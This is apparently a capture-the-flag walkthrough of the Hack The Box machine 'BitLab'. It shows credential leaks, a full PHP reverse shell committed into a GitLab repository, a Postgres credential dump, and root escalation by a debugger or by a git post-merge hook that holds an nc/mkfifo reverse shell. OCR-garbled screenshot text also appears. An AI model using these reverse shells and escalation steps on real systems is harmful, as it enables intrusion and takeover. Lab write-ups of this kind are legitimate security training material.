BitLab



InfoGathering

Nmap scan report for bitlab.htb (10.10.10.114) Host is up (0.044s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) ssh-hostkey: 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519) 80/tcp open http nginx http-robots.txt: 55 disallowed entries (15 shown) / /autocomplete/users /search /api /admin /profile /dashboard /projects/new /groups/new /groups/*/edit /users /help /s/ /snippets/new /snippets/*/edit http-title: Sign in \xC2\xB7 GitLab Requested resource was http://bitlab.htb/users/sign in | http-trane-info: Problem with XML parsing of /evox/about

FUZZING FOR WEBPAGES IS NOT THE WAY TO APPROACH THIS BOX. WE WANT TO EXPLOIT GIT AND CODE

LOGIN PAGE http://bitlab.htb/users/sign_in



Gaining Access

You will find the /help/bookmarks.html with a JS-Link if you hover over Gitlab Login. Right click GitLab and select Copy Link Location. Then deobfuscate the code RESOURCE: https://lelinhtinh.github.io/de4js/

```
javascript:(function(){ var
_0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x
65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64",
"\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]=
_0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
```

```
javascript: (function () {
    var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "lldes0081x"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()
```

This gave us credentials! USER: clave PASS: 11des0081x

Use these credentials to sign into the login page



There is a private snippet located at http://bitlab.htb/snippets/1 containing the below code This looks like a means of accessing a SQL database. We will try that once we gain access to a terminal



We are not able to directly commit to the master branch of http://bitlab.htb/root/profile as clave.

Clave does have permission to commit to the test-deploy branch.

(i) bi	itlab.htb) /ro	ot/profile/tr	ee/test	t-deploy							⊌ ♦	☆
Proto	nMail (()	ProtonVPN	🖨 No	rdVPN	🖨 Hak5	🕲 HTB	🛛 🙃 HTE	3 Forum	🖨 Pastebin	🖨 Bitw	arden	🖨 Bito
ıps ~	Activity	y	Milestones	Snippe	ts								
					Administ	rator > 🍚	Profile →	Repository					
					test-de	eploy	~	profile	(+ ~				
								Switc	h branch/	tag		×	:
					Searc	h branche:	s and tag					۵	
					Branch	nes							
					m	aster							
					🗸 t	est-depl	oy						

We are going to upload a PHP reverse shell, upload it, create a merge request to master, and merge it. I obtained the kali php reverse shell

ſ	# Сору	she	ll to [·]	loca	tion yo	u would	like					
l	<mark>cp</mark> /us	r/sha	are/web	oshe	lls/php	/php-rev	erse	-shell.php	/root/HTB	/Boxes/B	itlab/rev.p	php
l	# Edit	the	shell	to	contain	your IF	and	Listener	Port			
l												

RESOURCE: http://pentestmonkey.net/tools/php-reverse-shell



Insert the php-Shell into the index.php (test-deploy Branch), create a merge

This is done by clicking the Edit button in the top right corner of the code window at the URL http://bitlab.htb/root/ profile/blob/test-deploy/index.php

± ~	Search or jump to	۹	D) 11	ß	@ ~	😨 🗸
	Q Find file	Blame	History	Permalir	ık	
			f69cce	29 G		
C	🗟 🗟 🗣 Edit	Web IDE	Replace	Delete		

Click commit changes after editing



index.php contents after my edit

```
<!DOCTYPE html>
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.18'; // CHANGE THIS
port = 8089;
                    // CHANGE THIS
schunk size = 1400;
write a = null;
error a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
daemon = 0;
debug = 0;
11
// Daemonise ourself if possible to avoid zombies later
11
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl fork();
        if ($pid == -1) {
                printit("ERROR: Can't fork");
                 exit(1);
        }
        if ($pid) {
                 exit(0); // Parent exits
        }
        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                 printit("Error: Can't setsid()");
                exit(1);
        }
        daemon = 1;
} else {
        printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
// Do the reverse shell...
11
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock)
        printit("$errstr ($errno)");
        exit(1);
}
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
   2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
```

```
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
3
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream select tells us they won't
stream set blocking($pipes[0], 0);
stream set blocking($pipes[1], 0);
stream set blocking($pipes[2], 0);
stream set blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break:
        }
        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break:
        }
        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }
        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }
        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in array($pipes[2], $read a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc close($process);
// Like print, but does nothing if we've daemonised ourself
```

```
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon)
                print "$string\n";
        }
?>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="robots" content="noindex, nofollow">
    <title>Profile page</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="//netdna.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet"</pre>
id="bootstrap-css">
    <style type="text/css">
    * 🤇
    font-family: 'Open Sans', sans-serif;
}
.well {
    margin-top:-20px;
    background-color:#007FBD;
    border:2px solid #0077B2;
    text-align:center;
    cursor:pointer;
    font-size: 25px;
    padding: 15px;
    border-radius: 0px !important;
}
.well:hover {
    margin-top:-20px;
    background-color:#0077B2;
    border:2px solid #0077B2;
    text-align:center;
    cursor:pointer;
    font-size: 25px;
    padding: 15px;
    border-radius: 0px !important;
    border-bottom : 2px solid rgba(97, 203, 255, 0.65);
}
body {
font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;
font-size: 14px;
line-height: 1.42857143;
color: #fff;
background-color: #F1F1F1;
}
.bg_blur
{
    background-image:url('http://data2.whicdn.com/images/139218968/large.jpg');
    height: 300px;
    background-size: cover;
}
.follow btn {
    text-decoration: none;
    position: absolute;
    left: 35%;
    top: 42.5%;
    width: 35%;
    height: 15%;
    background-color: #007FBE;
```

```
padding: 10px;
    padding-top: 6px;
    color: #fff;
    text-align: center;
    font-size: 20px;
    border: 4px solid #007FBE;
}
.follow btn:hover {
    text-decoration: none;
    position: absolute;
    left: 35%;
    top: 42.5%;
    width: 35%;
    height: 15%;
    background-color: #007FBE;
    padding: 10px;
    padding-top: 6px;
    color: #fff;
    text-align: center;
    font-size: 20px;
    border: 4px solid rgba(255, 255, 255, 0.8);
}
.header{
    color : #808080;
    margin-left:10%;
    margin-top:70px;
}
.picture{
    height:150px;
    width:150px;
    position:absolute;
    top: 75px;
    left:-75px;
}
.picture_mob{
    position: absolute;
    width: 35%;
    left: 35%;
    bottom: 70%;
}
.btn-style{
    color: #fff;
    background-color: #007FBE;
    border-color: #adadad;
    width: 33.3%;
}
.btn-style:hover {
    color: #333;
    background-color: #3D5DE0;
    border-color: #adadad;
    width: 33.3%;
}
@media (max-width: 767px) {
    .header{
        text-align : center;
    }
    .nav{
```

```
margin-top : 30px;
   }
}
    </style>
    <script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
    <script src="//netdna.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
</head>
<body>
    <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<div class="container" style="margin-top: 20px; margin-bottom: 20px;">
        <div class="row panel">
                <div class="col-md-4 bg_blur ">
            <a href="#" class="follow_btn hidden-xs">Follow</a>
                </div>
        <div class="col-md-8 col-xs-12">
           <img src="http://lorempixel.com/output/people-q-c-100-100-1.jpg" class="img-thumbnail picture</pre>
hidden-xs" />
           <img src="http://lorempixel.com/output/people-q-c-100-100-1.jpg" class="img-thumbnail visible-</pre>
xs picture mob" />
           <div class="header">
                <h1>Clave</h1>
                <h4>Web Developer</h4>
                <span>A web developer is a programmer who specializes in, or is specifically engaged in,
the development of World Wide Web applications, or applications that are run over HTTP from a web server
to a web browser.</span>
           </div>
        </div>
    </div>
        <div class="row nav">
        <div class="col-md-4"></div></div>
        <div class="col-md-8 col-xs-12" style="margin: 0px;padding: 0px;">
            <div class="col-md-4 col-xs-4 well"><i class="fa fa-weixin fa-lg"></i> 16</div>
            <div class="col-md-4 col-xs-4 well"><i class="fa fa-heart-o fa-lg"></i> 14</div>
            <div class="col-md-4 col-xs-4 well"><i class="fa fa-thumbs-o-up fa-lg"></i> 26</div>
        </div>
    </div>
</div>
</body>
</html>
```

Now go back to http://bitlab.htb/root/profile/tree/test-deploy and click the button Create Merge Request

Administrator > \ominus Profile > Repository			
You pushed to test-deploy 2 minutes ago			reate merge request
test-deplay v profile / + v		History Q Find file	New merge requi
Update index.php Developer authored 2 minutes ago			38b8f4e1 G
Name	Last commit		Last update
README.md	Fix title		11 months ago
😫 developer.jpg	Profile avatar		11 months ago
🗈 index.php	Update index.php		2 minutes ago
README.md			

Add a Description as this may be required in some environments and click Submit my request

Haur Marga Daguart									
vew Merge Request									
	Update index.php Start the title with with i to prevent a W	ork In Progress merge request from being merged before it's ready.							
	Add description templates to help your c	ontributors communicate effectively!							
Description	Write Preview		8 I	99 es	0	= 13		e :	
	tebar								
	Markdown and quick actions are supp	ented							
Assistee	Assianae	Assists to me							
Mintone	talastasa M								
	-								
Lavto	Libes 👻								
Source branch	test-deploy 🗸								
Target branch	naster 🗸								
	pernove source branch when menge n	equest is accepted.							
Submit merge request								Cancel	
Commits : Changes :									
10 Dec, 2019 1 commit									
Developer authored 2 min	utes ago						3868	fdel	•

I then started a netcat listener to be prepared

On attack machine
nc -lvnp 8089

I then clicked Merge



Index.php can be executed by visiting http://10.10.10.114/profile/ We now have a shell

```
root@kali:-/HTB/Boxes/Bitlab# nc -lvnp 8089
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8089
Ncat: Listening on 0.0.0.0:8089
Ncat: Connection from 10.10.10.114.
Ncat: Connection from 10.10.10.114:45088.
Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86 64 x86 64 x86 64 GNU/Linux
19:33:00 up 15:41, 0 users, load average: 0.24, 0.20, 0.12
                  FROM
USER
         TTY
                                     LOGIN@
                                              IDLE JCPU
                                                             PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1206): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bitlab:/$
```

Using the php code we found from http://bitlab/snippets/1 we are going to connect to the sql database and attempt to obtain credentials

Enter php interactive mode and enter the below commands

```
# Enter php interactive mode
php -a
# Connect to sql database using snippets/1
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
# Return password
while ($row = pg_fetch_row($result)) { print_r($row); }
```

```
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
while ($row = pg_fetch_row($result)) { print_r($row); }
Array
(
    [0] => 1
    [1] => clave
    [2] => c3NoLXN0cjBuZy1wQHNz==
)
```

We now have another password for Clave USER: clave PASS: c3NoLXN0cjBuZy1wQHNz==

If you decode the credentials they tell us basically to try ssh. We are going to su instead

```
echo 'c3NoLXN0cjBuZy1wQHNz==' | base64 -d
ssh-str0ng-p@ss
```



```
# Exit interactive PHP shell
quit
# Create a pty terminal so we can su
python -c 'import pty;pty.spawn("/bin/bash")'
# Su as clave
su clave
c3NoLXN0cjBuZy1wQHNz==
```

We can now read the user flag

cat /home/clave/user.txt
le3fd8lec3aa2f1462370ee3c20b8154

clave@bitlab:/\$ cat /home/clave/user.txt
cat /home/clave/user.txt
le3fd81ec3aa2f1462370ee3c20b8154
clave@bitlab:/\$

USER FLAG: 1e3fd81ec3aa2f1462370ee3c20b8154

PrivEsc

In Clave's home directory there is an executable called RemoteConnection.exe

That seems a little on the nose. Great we dont have to look too far. We will need to use Immunity debugger on this one

A breakpoint is a stopping or pausing point in a program. We want to set a break point at the following location: 01121647 jnz short loc_1121662

🗾 🚄 🔛	
01121637	
01121637	loc_1121637:
01121637	<pre>mov edx, [ebp+var_1C]</pre>
0112163A	xor ecx, ecx
0112163C	<pre>mov [eax+edx*2], cx</pre>
01121640	<pre>cmp [ebp+lpBuffer], offset aClave ; "clave"</pre>
01121647	jnz short loc 1121662

Now browse the ESI registry and you will find the root password USER: root PASS: Qf7]8YSV.wDNF*[7d?j&eD4^

Su as root and read the flag

<mark>su</mark> root Qf7]8YSV.wDNF*[7d?j<mark>&</mark>eD4^

cat /root/root.txt

```
clave@bitlab:~$ su root
su root
Password: Qf7]8YSV.wDNF*[7d?j&eD4^
root@bitlab:/home/clave# whoami
whoami
root
root@bitlab:/home/clave# cat /root/root.txt
cat /root/root.txt
8d4cc131757957cb68d9a0cddccd587c
```

ROOT FLAG: 8d4cc131757957cb68d9a0cddccd587c

PrivEsc2

For those of you who do not want to download Immunity Debugger there is a second way which I love the creator did. This prevents you from being required to have an email address in order to hack the box.

We need to take a step back an reenter our wwwdata shell and check your sudo permissions

```
sudo -l
# We discover we can run the following command without a password
sudo /usr/bin/git pull
```

```
www-data@bitlab:/$ whoami
whoami
www-data
www-data@bitlab:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull
```

The "git pull" command can be used to execute commands as root using post-hooks. We do not have write permission to the git-repos in /var/www/html/

We want to copy one of these git-folders to a directory that is writable to us. We will use our sudo command privilege to pull it later

```
cd /dev/shm
# Make a directory with the same name as the repo
mkdir tobor
# Copy the repo over recursively of course
cp -r /var/www/html/profile/.git /dev/shm/tobor/
# Move to that directory
cd /dev/shm/tobor/.git/hooks
```

This gave us write access to the directory. Now create a file called "post-merge" in the .git/hooks directory This file needs to be called post-merge. Otherwise it will only be a file and as opposed to a file that gets executed.

```
# Create file
touch post-merge
# Make it executable
chmod +x post-merge
# Make the file a script that runs either reading root or a rev shell or issuaing a command.
echo '#!/bin/bash' > post-merge
echo "id" >> post-merge
cat post-merge
```

Next we need to create a merge request. This means me need to make a change in test-deploy branch where we have permissions in the web interface Create the merge request to master branch and merge.

This time add the below HTML heading to the index.php file we used as our reverse shell earlier. Follow those steps to create and send the merge request again. <h1>Hello World!</h1>

Edit file

```
Write
        Preview changes
 ¥ test-deploy
                         index.php
 270
               text-align : center;
 271
           }
 272
 273
 274
 275 -
           .nav{
 276
               margin-top : 30px;
 277
 278
 279
 280
           </style>
 281
           <script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
 282
           <script src="//netdna.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
 283
       </head>
     <hl>Hello World!</hl>
 284
 285 - <body>
 286
           <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='te>
 287
       <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="sty</pre>
 288
 289 - <div class="container" style="margin-top: 20px; margin-bottom: 20px;">
 290 -
           <div class="row panel">
 291 -
               <div class="col-md-4 bg blur ">
 292
                   <a href="#" class="follow btn hidden-xs">Follow</a>
 293
               </div>
 294 +
               <div class="col-md-8 col-xs-12">
                  <img src="http://lorempixel.com/output/people-q-c-100-100-1.jpg" class="img-thumb
 295
 296
                  <img src="http://lorempixel.com/output/people-g-c-100-100-1.jpg" class="img-thumb</pre>
  207
                        c] 266
```

Click the button "Create Merge Request" Click the button "Submit Merge Request" Click the button "Merge"

Once the merge request exists we can do a git pull with our malicious command injected file

cd /dev/shm/tobor
sudo /usr/bin/git pull

Now that we have command injection lets make sure we can gain a root shell I went through the same process again only this time the file post-merge contained an old netcat reverse shell CONTENTS OF POST-MERGE FILE FOR REVERSE SHELL

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 8088 >/tmp/f

Start a netcat listener

On attack machine
nc -lvnp 8088

Edit the index.php

Click the button "Create Merge Request" Click the button "Submit Merge Request" Click the button "Merge"

Change directory to the parent of the .git directory we can write too and issue the sudo command

```
# As wwwdata user
cd /dev/shm/tobor
# Execute our payload in post-merge file
sudo /usr/bin/git pull
# or just
sudo git pull
```

www-data@bitlab:/dev/shm/tobor/.git/hooks\$ echo '#1/bin/bash' > post-merge echo '#1/bin/bash' > post-merge www-data@bitlab:/dev/shm/tobor/.git/hooks\$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f]/bin/sh -i 2>61|nc 10.10.14.18 8008 >/tmp/f' >> post-merge c -i 2>61|nc 10.16.14.18 8088 >/tmp/f' >> post-merge cat post-merge #1/bin/bash mm /tmp/f;mkfifo /tmp/f;cat /tmp/f]/bin/sh -i 2>61|nc 10.10.14.18 8008 >/tmp/f www-data@bitlab:/dev/shm/tobor/.git/hooks\$ cd .. cd .. www-data@bitlab:/dev/shm/tobor/.gits cd .. cd .. www-data@bitlab:/dev/shm/tobors sudo git pull sudo git pull remote: Enumerating objects: 100% (d/4), done. remote: Counting objects: 100% (d/4), done. remote: Counting objects: 100% (d/4), done. remote: Total 4 (delta 3), reused 8 (delta 0) Unpacking objects: 100% (d/4), done. remote: Total 4 (delta 3), reused 8 (delta 0) Unpacking objects: 100% (d/4), done. remote: Sourge Sing 2021. Soc8265 Fast-forward index.php | 2 + 1 file changed, 1 insertion(+), 1 deletion(-) rm: cannot remove '/tmp/f': No such file or directory

root@kali:~/HTB/Boxes/Bitlab# nc -lvnp 8088 Ncat: Version 7.80 (https://nmap.org/ncat) Ncat: Listening on 0.0.0.0:8088 Ncat: Connection from 10.10.10.114. Ncat: Connection from 10.10.10.114:36632. # whoami root # cat /root/root.txt 8d4cc131757957cb68d9a0cddccd587c # |

ROOT FLAG: 8d4cc131757957cb68d9a0cddccd587c